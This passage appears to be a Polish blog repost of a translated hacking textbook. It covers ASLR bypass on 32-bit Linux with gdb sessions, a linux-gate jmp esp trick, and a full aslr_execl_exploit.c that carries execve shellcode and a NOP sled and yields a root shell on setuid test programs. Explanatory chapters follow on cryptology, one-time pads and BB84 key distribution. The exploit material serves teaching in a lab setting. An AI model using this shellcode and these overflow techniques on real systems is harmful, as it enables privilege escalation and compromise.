0x080483e9 < main+53 >: lea eax,[ebp-72]
0x080483ec < main+56 >: mov DWORD PTR [esp],eax
0x080483ef < main+59 >: call 0x80482c4 < strcpy@plt >
0x080483f4 < main+64 >: mov eax,0x1
0x080483f9 < main+69 >: leave
0x080483fa < main+70 >: ret
End of assembler dump.
(gdb) break *0x080483fa
Breakpoint 1 at 0x80483fa: file aslr_demo.c, line 12.
(gdb)
Punkt przerwania jest ustawiony na ostatniej instrukcji main. Ta instrukcja zwraca EIP do adresu zwrotnego przechowywanego na stosie. Kiedy exploit nadpisuje adres zwrotny, jest to ostatnia instrukcja, w której oryginalny program ma kontrolę. Spójrzmy na rejestry w tym punkcie kodu, aby zobaczyć kilka różnych przebiegów próbnych.
(gdb) run
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfa131a0
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12
12 }
(gdb) info registers
eax 0x1 1
ecx 0x0 0
edx 0xb7f000b0 -1209007952
ebx 0xb7efeff4 -1209012236
esp 0xbfa131ec 0xbfa131ec
ebp 0xbfa13248 0xbfa13248
esi 0xb7f29ce0 -1208836896
edi 0x0 0
eip 0x80483fa 0x80483fa < main+70 >
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfd8e520
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12
12 }
(gdb) i r esp
esp 0xbfd8e56c 0xbfd8e56c
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfaada40
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12
12 }
(gdb) i r esp
esp 0xbfaada8c 0xbfaada8c
(gdb)
Pomimo randomizacji między przebiegami, zauważ, jak podobny jest adres w ESP do adresu bufora (pokazany pogrubioną czcionką). Ma to sens, ponieważ wskaźnik stosu wskazuje stos, a bufor znajduje się na stosie. Wartość ESP i adres bufora są zmieniane przez tę samą losową wartość, ponieważ są one względne dla każdego innego. Polecenie stepi GDB przesuwa program do przodu, wykonując jedną instrukcję. Używając tego, możemy sprawdzić wartość ESP po wykonaniu instrukcji ret.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfd1ccb0
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12
12 }
(gdb) i r esp
esp 0xbfd1ccfc 0xbfd1ccfc
(gdb) stepi
0xb7e4debc in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r esp
esp 0xbfd1cd00 0xbfd1cd00
(gdb) x/24x 0xbfd1ccb0
0xbfd1ccb0: 0x00000000 0x080495cc 0xbfd1ccc8 0x08048291
0xbfd1ccc0: 0xb7f3d729 0xb7f74ff4 0xbfd1ccf8 0x08048429
0xbfd1ccd0: 0xb7f74ff4 0xbfd1cd8c 0xbfd1ccf8 0xb7f74ff4
0xbfd1cce0: 0xb7f937b0 0x08048410 0x00000000 0xb7f74ff4
0xbfd1ccf0: 0xb7f9fce0 0x08048410 0xbfd1cd58 0xb7e4debc
0xbfd1cd00: 0x00000001 0xbfd1cd84 0xbfd1cd8c 0xb7fa0898
(gdb) p 0xbfd1cd00 - 0xbfd1ccb0
$1 = 80
(gdb) p 80/4
$2 = 20
(gdb)
Pojedyncze przejście pokazuje, że instrukcja ret zwiększa wartość ESP o 4. Odejmując wartość ESP od adresu bufora, stwierdzamy, że ESP wskazuje 80 bajtów (lub 20 słów) od początku bufora. Ponieważ offset adresu zwrotnego wynosił 19 słów, oznacza to, że po ostatniej instrukcji ret głównej, ESP wskazuje pamięć stosu znalezioną bezpośrednio po adresie zwrotnym. Byłoby to przydatne, gdyby istniał sposób kontrolowania EIP, aby przejść tam, gdzie wskazuje ESP.
Powrót
12.10.2020
Odbijając się od linux-gate
Opisana poniżej technika nie działa w jądrach Linuksa począwszy od wersji 2.6.18. Ta technika zyskała na popularności i, oczywiście, deweloperzy załatali problem. Jądro użyte w dołączonym LiveCD to 2.6.20, więc poniższe dane pochodzą z loki komputera, na którym działa jądro Linux 2.6.17. Nawet jeśli ta konkretna technika nie działa na LiveCD, koncepcje, które się za nią kryją, można zastosować w inny użyteczny sposób. Odbijanie się od linux-gate odnosi się do współdzielonego obiektu, ujawnionego przez jądro, które wygląda jak biblioteka współdzielona. Program ldd pokazuje zależności biblioteki współdzielonej przez program. Czy zauważysz coś ciekawego w bibliotece linux-gate na poniższym wyjściu?
matrix@loki /hacking $ $ uname -a
Linux hacking 2.6.17 #2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU/Linux
matrix@loki /hacking $ cat /proc/sys/kernel/randomize_va_space
1
matrix@loki /hacking $ ldd ./aslr_demo
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7eb2000)
/lib/ld-linux.so.2 (0xb7fe5000)
matrix@loki /hacking $ ldd /bin/ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/librt.so.1 (0xb7f95000)
libc.so.6 => /lib/libc.so.6 (0xb7e75000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000)
/lib/ld-linux.so.2 (0xb7fb1000)
matrix@loki /hacking $ ldd /bin/ls
linux-gate.so.1 => (0xffffe000)
librt.so.1 => /lib/librt.so.1 (0xb7f50000)
libc.so.6 => /lib/libc.so.6 (0xb7e30000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000)
/lib/ld-linux.so.2 (0xb7f6c000)
matrix@loki /hacking $
Nawet w różnych programach i przy włączonym ASLR, linux-gate.so.1 jest zawsze obecny pod tym samym adresem. Jest to wirtualny dynamicznie współużytkowany obiekt używany przez jądro w celu przyspieszenia wywołań systemowych, co oznacza, że jest potrzebny w każdym procesie. Jest ładowany bezpośrednio z jądra i nie istnieje nigdzie na dysku. Ważną rzeczą jest to, że każdy proces ma blok pamięci zawierający instrukcje bramy linux, które są zawsze w tej samej lokalizacji, nawet z ASLR. Przeszukamy tę przestrzeń pamięci pod kątem pewnej instrukcji asemblerowej, jmp esp. Ta instrukcja przeskoczy EIP do miejsca, w którym wskazuje ESP. Najpierw składamy instrukcję, aby zobaczyć, jak to wygląda w kodzie maszynowym.
matrix@loki /hacking $ cat > jmpesp.s
BITS 32
jmp esp
matrix@loki /hacking $ nasm jmpesp.s
matrix@loki /hacking $ hexdump -C jmpesp
00000000 ff e4 |..|
00000002
matrix@loki /hacking $
Korzystając z tych informacji, można napisać prosty program, aby znaleźć ten wzorzec we własnej pamięci programu.
find_jmpesp.c
int main()
{
unsigned long linuxgate_start = 0xffffe000;
char *ptr = (char *) linuxgate_start;
int i;
for(i=0; i < 4096; i++)
{
if(ptr[i] == '\xff' && ptr[i+1] == '\xe4')
printf("found jmp esp at %p\n", ptr+i);
}
}
When the program is compiled and run, it shows that this instruction exists at 0xffffe777. This can be further
verified using GDB:
matrix@loki /hacking $ ./find_jmpesp
found jmp esp at 0xffffe777
matrix@loki /hacking $ gdb -q ./aslr_demo
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483f0: file aslr_demo.c, line 7.
(gdb) run
Starting program: /hacking/aslr_demo
Breakpoint 1, main (argc=1, argv=0xbf869894) at aslr_demo.c:7
7 printf("buffer is at %p\n", &buffer);
(gdb) x/i 0xffffe777
0xffffe777: jmp esp
(gdb)
Łącząc wszystko, jeśli nadpiszemy adres zwrotny adresem 0xffffe777, wykonanie przejdzie do linux-gate po powrocie funkcji głównej. Ponieważ jest to instrukcja jmp esp, wykonanie natychmiast wyskoczy z linux-gate do miejsca, w którym wskazuje ESP. Z naszego poprzedniego debugowania wiemy, że na końcu głównej funkcji ESP wskazuje na pamięć bezpośrednio po adresie zwrotnym. Jeśli więc zostanie tu umieszczony kod powłoki, EIP powinien odbić się w nim.
matrix@loki /hacking $ sudo chown root:root ./aslr_demo
matrix@loki /hacking $ sudo chmod u+s ./aslr_demo
matrix@loki /hacking $ ./aslr_demo $(perl -e 'print "\x77\xe7\xff\xff"x20')$(cat
scode.bin)
buffer is at 0xbf8d9ae0
sh-3.1#
Ta technika może być również wykorzystana do wykorzystania programu do wyszukiwania nut, jak pokazano tutaj.
matrix@loki /hacking $ for i in `seq 1 50`; do ./notesearch $(perl -e "print 'AAAA'x$i");
if [
$? == 139 ]; then echo "Try $i words"; break; fi; done
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
*** OUTPUT TRIMMED ***
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault
Try 35 words
matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x35')$(cat
scode.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault
matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x36')$(cat
scode2.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
sh-3.1#
Początkowy szacunek 35 słów był wyłączony, ponieważ program nadal się rozbijał z nieco mniejszym buforem exploitów. Ale jest w dobrym stanie, więc ręczna korekta (lub dokładniejszy sposób obliczenia przesunięcia) jest wszystkim, czego potrzeba. Jasne, odbijanie się od linux-gate to zręczna sztuczka, ale działa tylko ze starszymi jądrami Linuksa. Powrót na LiveCD, z Linuksem 2.6.20 użyteczna instrukcja nie znajduje się już w zwykłej przestrzeni adresowej.
reader@hacking:~/booksrc $ uname -a
Linux hacking 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
reader@hacking:~/booksrc $ gcc -o find_jmpesp find_jmpesp.c
reader@hacking:~/booksrc $ ./find_jmpesp
reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfcf3480
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfd39cd0
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfc8d9c3
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfa0c9c3
reader@hacking:~/booksrc $
Bez instrukcji jmp esp pod przewidywalnym adresem nie ma łatwego sposobu na odrzucenie linux-gate. Czy możesz wymyślić sposób na ominięcie ASLR w celu wykorzystania aslr_demo na LiveCD?
Powrót
13.10.2020
Wiedza stosowana
Takie sytuacje sprawiają, że hakowanie to sztuka. Stan bezpieczeństwa komputera jest ciągle zmieniającym się krajobrazem, a konkretne luki są wykrywane i korygowane każdego dnia. Jeśli jednak rozumiesz koncepcje podstawowych technik hakerskich , możesz zastosować je w nowe i pomysłowe sposoby rozwiązania problemu. Podobnie jak klocki LEGO, techniki te można stosować w milionach różnych kombinacji i konfiguracji. Jak w przypadku każdej sztuki, im więcej ćwiczysz te techniki, tym lepiej je zrozumiesz. Z tym zrozumieniem wynika mądrość polegająca na odgadywaniu przesunięć i rozpoznawaniu segmentów pamięci według ich zakresów adresów. W tym przypadku problem nadal występuje w ASLR. Mam nadzieję, że masz kilka pomysłów na obejście, które możesz wypróbować teraz. Nie bój się używać debuggera do sprawdzania, co się dzieje. Prawdopodobnie istnieje kilka sposobów obejścia ASLR i możesz wymyślić nową technikę. Jeśli nie znajdziesz rozwiązania, nie martw się - wyjaśnię metodę w następnej sekcji. Warto jednak pomyśleć o tym problemie samodzielnie, zanim zaczniesz czytać dalej.
Pierwsza próba
Zanim linux-gate został naprawiony w jądrze Linuksa, więc musiałem zhakować razem bypass ASLR. Moją pierwszą myślą było wykorzystanie rodziny funkcji execl (). Korzystamy z funkcji execve () w naszym shellcode, aby wywołać powłokę, i jeśli zwrócisz szczególną uwagę (lub po prostu przeczytasz stronę man), zauważysz, że funkcja execve () zastępuje aktualnie uruchomiony proces nowym obraz procesu.
EXEC(3) Linux Programmer's Manual
NAME
execl, execlp, execle, execv, execvp - execute a file
SYNOPSIS
#include < unistd.h >
extern char **environ;
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg,
..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
DESCRIPTION
Rodzina funkcji exec () zastępuje bieżący obraz procesu nowym obrazem procesu. Funkcje opisane na tej stronie podręcznika są front-endami dla funkcji execve (2). Wygląda na to, że może tu być słabość, jeśli układ pamięci jest losowy tylko wtedy, gdy proces jest uruchamiany. Przetestujmy tę hipotezę za pomocą fragmentu kodu, który wypisuje adres zmiennej stosu, a następnie wykonuje aslr_demo za pomocą funkcji execl ().
aslr_execl.c
#include < stdio.h >
#include < unistd.h >
int main(int argc, char *argv[]) {
int stack_var;
// Print an address from the current stack frame.
printf("stack_var is at %p\n", &stack_var);
// Start aslr_demo to see how its stack is arranged.
execl("./aslr_demo", "aslr_demo", NULL);
}
Gdy ten program zostanie skompilowany i uruchomiony, wykona () aslr_demo, który również wypisuje adres zmiennej stosu (bufora). Pozwala to porównać układy pamięci.
reader@hacking:~/booksrc $ gcc -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ gcc -o aslr_execl aslr_execl.c
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbf9f31c0
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbffaaf70
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbf832044
buffer is at 0xbf832000
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf832044 - 0xbf832000"
$1 = 68
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbfa97844
buffer is at 0xbf82f800
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa97844 - 0xbf82f800"
$1 = 2523204
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbfbb0bc4
buffer is at 0xbff3e710
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfbb0bc4 - 0xbff3e710"
$1 = 4291241140
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbf9a81b4
buffer is at 0xbf9a8180
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf9a81b4 - 0xbf9a8180"
$1 = 52
reader@hacking:~/booksrc $
Pierwszy wynik wygląda bardzo obiecująco, ale kolejne próby pokazują, że występuje pewien stopień randomizacji, gdy nowy proces jest wykonywany za pomocą execl (). Jestem pewien, że nie zawsze tak było, ale postęp open source jest raczej stały. Nie stanowi to jednak większego problemu, ponieważ mamy sposoby radzenia sobie z tą częściową niepewnością.
Powrót
14.10.2020
Grając w szanse
Użycie execl () przynajmniej ogranicza losowość i daje nam zakres adresów ballpark. Pozostałą niepewność można rozwiązać za pomocą sanek NOP. Szybkie sprawdzenie aslr_demo pokazuje, że bufor przepełnienia musi mieć 80 bajtów, aby zastąpić przechowywany adres zwrotny na stosie.
reader@hacking:~/booksrc $ gdb -q ./aslr_demo
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run $(perl -e 'print "AAAA"x19 . "BBBB"')
Starting program: /home/reader/booksrc/aslr_demo $(perl -e 'print "AAAA"x19 . "BBBB"')
buffer is at 0xbfc7d3b0
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p 20*4
$1 = 80
(gdb) quit
The program is running. Exit anyway? (y or n) y
reader@hacking:~/booksrc $
Ponieważ najprawdopodobniej będziemy chcieli mieć dość duże sanki NOP, skorzystaj z NOP sled, a kod powłoki zostanie umieszczony po nadpisaniu adresu zwrotnego. To pozwala nam wstrzyknąć tyle sań NOP, ile potrzeba. W tym przypadku wystarczy tysiąc bajtów.
aslr_execl_exploit.c
#include < stdio.h >
#include < unistd.h >
#include < string.h >
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // Standard shellcode
int main(int argc, char *argv[]) {
unsigned int i, ret, offset;
char buffer[1000];
printf("i is at %p\n", &i);
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset + 200; // Set return address.
printf("ret addr is %p\n", ret);
for(i=0; i < 90; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer+84, 0x90, 900); // Build NOP sled.
memcpy(buffer+900, shellcode, sizeof(shellcode));
execl("./aslr_demo", "aslr_demo", buffer, NULL);
}
Ten kod powinien mieć dla ciebie sens. Wartość 200 jest dodawana do adresu zwrotnego, aby pominąć pierwsze 90 bajtów użytych do nadpisania, więc wykonanie ląduje gdzieś w sankach NOP.
reader@hacking:~/booksrc $ sudo chown root ./aslr_demo
reader@hacking:~/booksrc $ sudo chmod u+s ./aslr_demo
reader@hacking:~/booksrc $ gcc aslr_execl_exploit.c
reader@hacking:~/booksrc $ ./a.out
i is at 0xbfa3f26c
ret addr is 0xb79f6de4
buffer is at 0xbfa3ee80
Segmentation fault
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa3f26c - 0xbfa3ee80"
$1 = 1004
reader@hacking:~/booksrc $ ./a.out 1004
i is at 0xbfe9b6cc
ret addr is 0xbfe9b3a8
buffer is at 0xbfe9b2e0
sh-3.2# exit
exit
reader@hacking:~/booksrc $ ./a.out 1004
i is at 0xbfb5a38c
ret addr is 0xbfb5a068
buffer is at 0xbfb20760
Segmentation fault
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfb5a38c - 0xbfb20760"
$1 = 236588
reader@hacking:~/booksrc $ ./a.out 1004
i is at 0xbfce050c
ret addr is 0xbfce01e8
buffer is at 0xbfce0130
sh-3.2# whoami
root
sh-3.2#
Jak widać, od czasu do czasu randomizacja powoduje, że exploit kończy się niepowodzeniem, ale musi się tylko raz udać. Wykorzystuje to fakt, że możemy wypróbować exploita tyle razy, ile chcemy. Ta sama technika będzie działać z exploitem notesearch podczas działania ASLR. Spróbuj napisać exploita, aby to zrobić. Po zrozumieniu podstawowych pojęć wykorzystywania programów możliwe są niezliczone wariacje przy odrobinie kreatywności. Ponieważ reguły programu są definiowane przez jego twórców, wykorzystanie rzekomo bezpiecznego programu to po prostu kwestia pokonania ich we własnej grze. Nowe sprytne metody, takie jak strażnicy stosów i IDS, próbują skompensować te problemy, ale te rozwiązania również nie są idealne. Pomysłowość hakerów ma tendencję do znajdowania dziur w tych systemach. Pomyśl tylko o rzeczach, o których nie myśleli.
Powrót
15.10.2020
KRYPTOLOGIA
Kryptologia jest definiowana jako badanie kryptografii lub kryptoanalizy. Kryptografia to po prostu proces komunikowania się w tajemnicy za pomocą szyfrów, a kryptoanaliza to proces łamania lub odszyfrowywania takich tajnych komunikatów. Historycznie, kryptologia była szczególnie interesująca podczas wojen, kiedy kraje używały tajnych kodów do komunikowania się ze swoimi żołnierzami, próbując jednocześnie złamać kody wroga, aby przeniknąć do ich komunikacji. Aplikacje wojenne wciąż istnieją, ale korzystanie z kryptografii w życiu cywilnym staje się coraz bardziej popularne, ponieważ w Internecie dochodzi do bardziej krytycznych transakcji. Wąchanie sieci jest tak powszechne, że paranoiczne założenie, że ktoś zawsze sniffuje ruch sieciowy, może nie być tak paranoiczne. Hasła, numery kart kredytowych i inne zastrzeżone informacje mogą zostać wykryte i skradzione za pomocą niezaszyfrowanych protokołów. Zaszyfrowane protokoły komunikacyjne zapewniają rozwiązanie tego problemu braku prywatności i umożliwiają funkcjonowanie gospodarki internetowej. Bez szyfrowania Secure Sockets Layer (SSL) transakcje kartą kredytową na popularnych stronach internetowych byłyby bardzo niewygodne lub niebezpieczne. Wszystkie te prywatne dane są chronione przez algorytmy kryptograficzne, które są prawdopodobnie bezpieczne. Obecnie kryptosystemy, które można udowodnić jako bezpieczne, są zbyt nieporęczne do praktycznego zastosowania. Tak więc zamiast matematycznego dowodu bezpieczeństwa wykorzystywane są praktycznie bezpieczne systemy kryptosystemów. Oznacza to, że możliwe jest, że skróty do pokonania tych szyfrów, ale nikt nie był w stanie ich zaktualizować. Oczywiście istnieją również kryptosystemy, które w ogóle nie są bezpieczne. Może to być spowodowane implementacją, rozmiarem klucza lub po prostu kryptoanalitycznymi słabościami samego szyfru. W 1997 r., Zgodnie z prawem Stanów Zjednoczonych, maksymalna dopuszczalna wielkość klucza dla szyfrowania w eksportowanym oprogramowaniu wynosiła 40 bitów. To ograniczenie rozmiaru klucza powoduje, że odpowiadający mu szyfr jest niepewny, jak wykazali RSA Data Security i Ian Goldberg, student z University of California w Berkeley. RSA opublikowało wyzwanie, aby odszyfrować wiadomość zaszyfrowaną 40-bitowym kluczem, a trzy i pół godziny później Ian właśnie to zrobił. Był to mocny dowód na to, że 40-bitowe klucze nie są wystarczająco duże dla bezpiecznego kryptosystemu. Kryptologia ma znaczenie dla hackowania na wiele sposobów. Na najczystszym poziomie wyzwanie rozwiązania zagadki kusi ciekawskich. Na bardziej nikczemnym poziomie, tajne dane chronione przez tę układankę są może jeszcze bardziej pociągające. Łamanie lub obchodzenie kryptograficznych zabezpieczeń tajnych danych może zapewnić pewne poczucie satysfakcji, nie wspominając o sensie zawartości chronionych danych. Ponadto, silna kryptografia jest przydatna w unikaniu wykrywania. Drogie systemy wykrywania włamań sieciowych zaprojektowane do wykrywania ruchu sieciowego pod kątem sygnatur ataków są bezużyteczne, jeśli atakujący używa szyfrowanego kanału komunikacyjnego. Często zaszyfrowany dostęp do Internetu zapewniony dla bezpieczeństwa klienta jest wykorzystywany przez atakujących jako trudny do monitorowania wektor ataku.
Powrót
16.10.2020
Teoria informacji
Wiele koncepcji bezpieczeństwa kryptograficznego wywodzi się z umysłu Claude'a Shannona. Jego pomysły znacznie wpłynęły na dziedzinę kryptografii, zwłaszcza koncepcje dyfuzji i zamieszania. Chociaż następujące koncepcje bezpieczeństwa bezwarunkowego, jednorazowych klocków, kwantowej dystrybucji klucza i bezpieczeństwa obliczeniowego nie zostały w rzeczywistości stworzone przez Shannona, jego pomysły dotyczące idealnej tajemnicy i teorii informacji miały ogromny wpływ na definicje bezpieczeństwa.
Bezwarunkowe bezpieczeństwo
System kryptograficzny jest uważany za bezwarunkowo bezpieczny, jeśli nie można go złamać, nawet przy nieskończonych zasobach obliczeniowych. Oznacza to, że kryptoanaliza jest niemożliwa i nawet gdyby każdy możliwy klucz został wypróbowany w wyczerpującym ataku brute-force, niemożliwe byłoby ustalenie, który klucz był poprawny.
Szyfr z kluczem jednorazowym
Jednym z przykładów bezwarunkowo bezpiecznego kryptosystemu jest pad jednorazowy. Jednorazowy pad to bardzo prosty kryptosystem, który wykorzystuje bloki losowych danych zwanych padami. Pad musi być przynajmniej tak długi jak wiadomość w postaci zwykłego tekstu, która ma być zakodowana, a losowe dane na podkładce muszą być naprawdę losowe, w najbardziej dosłownym znaczeniu tego słowa. Tworzone są dwie identyczne podkładki: jedna dla odbiorcy i jedna dla nadawcy. Aby zakodować wiadomość, nadawca po prostu XORuje każdy bit wiadomości w postaci zwykłego tekstu za pomocą odpowiedniego bitu pada. Po zakodowaniu wiadomości pad zostaje zniszczony, aby upewnić się, że jest używany tylko raz. Następnie zaszyfrowana wiadomość może zostać wysłana do odbiorcy bez obawy o kryptoanalizę, ponieważ zaszyfrowana wiadomość nie może zostać złamana bez podkładki. Gdy odbiorca otrzyma zaszyfrowaną wiadomość, XORsuje również każdy bit zaszyfrowanej wiadomości odpowiednim bitem swojego pada, aby wygenerować oryginalną wiadomość w postaci zwykłego tekstu. Podczas gdy jednorazowy pad jest teoretycznie niemożliwy do złamania, w rzeczywistości nie jest to wcale takie praktyczne. Bezpieczeństwo jednorazowej podkładki zależy od bezpieczeństwa elektrod. Gdy pady są dystrybuowane do odbiorcy i nadawcy, zakłada się, że kanał transmisji padów jest bezpieczny. Aby być naprawdę bezpiecznym, może to obejmować spotkanie twarzą w twarz i wymianę, ale dla wygody transmisja pada może być ułatwiona dzięki jeszcze jednemu szyfrowi. Cena tej wygody polega na tym, że cały system jest teraz tak silny, jak najsłabsze ogniwo, którym byłby szyfr używany do przesyłania padów. Ponieważ pad składa się z losowych danych o tej samej długości, co komunikat w postaci zwykłego tekstu, a ponieważ bezpieczeństwo całego systemu jest tak dobre, jak bezpieczeństwo transmisji padów, zazwyczaj bardziej sensowne jest wysyłanie wiadomości w postaci zwykłego tekstu zakodowanej przy użyciu tego samego szyfr, który byłby użyty do transmisji kodu.
Powrót
17.10.2020
Dystrybucja kluczy kwantowych
Pojawienie się obliczeń kwantowych wprowadza wiele interesujących rzeczy w dziedzinie kryptologii. Jednym z nich jest praktyczna implementacja jednorazowego padu, możliwa dzięki kwantowej dystrybucji kluczy. Tajemnica splątania kwantowego może dostarczyć niezawodnej i tajnej metody wysyłania losowego ciągu bitów, który można wykorzystać jako klucz. Odbywa się to za pomocą nieortogonalnych stanów kwantowych w fotonach. Bez wchodzenia w zbyt wiele szczegółów polaryzacja fotonu jest kierunkiem oscylacji jego pola elektrycznego, które w tym przypadku może być wzdłuż poziomej, pionowej lub jednej z dwóch przekątnych. Nonorthogonal oznacza po prostu, że stany są oddzielone kątem, który nie jest równy 90 stopni. Co ciekawe, niemożliwe jest ustalenie z całą pewnością, która z tych czterech polaryzacji ma jeden foton. Prostoliniowa podstawa polaryzacji poziomej i pionowej jest niekompatybilna z podstawą diagonalną dwóch polaryzacji diagonalnych, więc z uwagi na zasadę nieoznaczoności Heisenberga te dwa zestawy polaryzacji nie mogą być mierzone. Filtry mogą być używane do pomiaru polaryzacji - jeden dla podstawy prostoliniowej i jeden dla podstawy diagonalnej. Gdy foton przechodzi przez właściwy filtr, jego polaryzacja nie zmieni się, ale jeśli przejdzie przez nieprawidłowy filtr, jego polaryzacja zostanie losowo zmodyfikowana. Oznacza to, że każda próba podsłuchu zmierzająca do polaryzacji fotonu ma duże szanse na zmieszanie danych, przez co jest oczywiste, że kanał nie jest bezpieczny. Te dziwne aspekty mechaniki kwantowej zostały dobrze wykorzystane przez Charlesa Bennetta i Gillesa Brassarda w pierwszym i prawdopodobnie najlepiej znanym schemacie dystrybucji klucza kwantowego o nazwie BB84. Po pierwsze, nadawca i odbiorca zgadzają się na reprezentację bitową dla czterech polaryzacji, tak że każda podstawa ma zarówno 1, jak i 0. W tym schemacie 1 może być reprezentowany zarówno przez polaryzację pionową fotonu, jak i jedną z polaryzacji diagonalnych (dodatnią 45 stopni), podczas gdy 0 może być reprezentowane przez polaryzację poziomą, a druga polaryzacja diagonalna (45 stopni). W ten sposób 1s i 0s mogą istnieć, gdy mierzona jest polaryzacja prostoliniowa i gdy mierzona jest polaryzacja diagonalna. Następnie nadawca wysyła strumień losowych fotonów, z których każdy pochodzi z losowo wybranej podstawy (prostoliniowej lub diagonalnej), i te fotony są rejestrowane. Gdy odbiornik otrzymuje foton, losowo wybiera również pomiar w oparciu o prostoliniową podstawę lub diagonalną i rejestruje wynik. Teraz obie strony publicznie porównują, z której bazy korzystały dla każdego fotonu, i zachowują tylko dane odpowiadające fotonom, które mierzyły przy użyciu tej samej podstawy. Nie ujawnia to wartości bitowych fotonów, ponieważ w każdej bazie są zarówno 1s, jak i 0s. Tworzy to klucz do jednorazowego pada. Ponieważ podsłuchiwacz ostatecznie zmieniłby polaryzację niektórych z tych fotonów, a tym samym szyfruj dane, podsłuchiwanie może być wykryte przez obliczenie stopy błędu jakiegoś losowego podzbioru klucza. Jeśli jest zbyt wiele błędów, ktoś prawdopodobnie podsłuchuje, a klucz należy wyrzucić. Jeśli nie, transmisja kluczowych danych była bezpieczna i prywatna.
Powrót
18.10.2020
Bezpieczeństwo obliczeniowe
Kryptosystem uważany jest za bezpieczny obliczeniowo, jeśli najbardziej znany algorytm do łamania wymaga nieuzasadnionej ilości zasobów obliczeniowych i czasu. Oznacza to, że teoretycznie możliwe jest złamanie szyfrowania przez podsłuchującego, ale w rzeczywistości jest to praktycznie niemożliwe, ponieważ ilość czasu i potrzebnych zasobów znacznie przekroczyłaby wartość zaszyfrowanych informacji. Zwykle czas potrzebny do złamania bezpiecznego systemu obliczeniowego jest mierzony w dziesiątkach tysięcy lat, nawet przy założeniu szerokiego wachlarza zasobów obliczeniowych. Większość nowoczesnych kryptosystemów należy do tej kategorii. Należy zauważyć, że najbardziej znane algorytmy łamania kryptosystemów zawsze ewoluują i są ulepszane. Idealnie, kryptosystem byłby zdefiniowany jako bezpieczny obliczeniowo, jeśli najlepszy algorytm do łamania wymaga nieuzasadnionej ilości zasobów obliczeniowych i czasu, ale obecnie nie ma sposobu na udowodnienie, że dany algorytm łamania szyfrowania jest i zawsze będzie najlepszy . Tak więc obecny najbardziej znany algorytm jest używany zamiast mierzenia bezpieczeństwa kryptosystemu
Powrót
19.10.2020
Algorytmiczny czas pracy
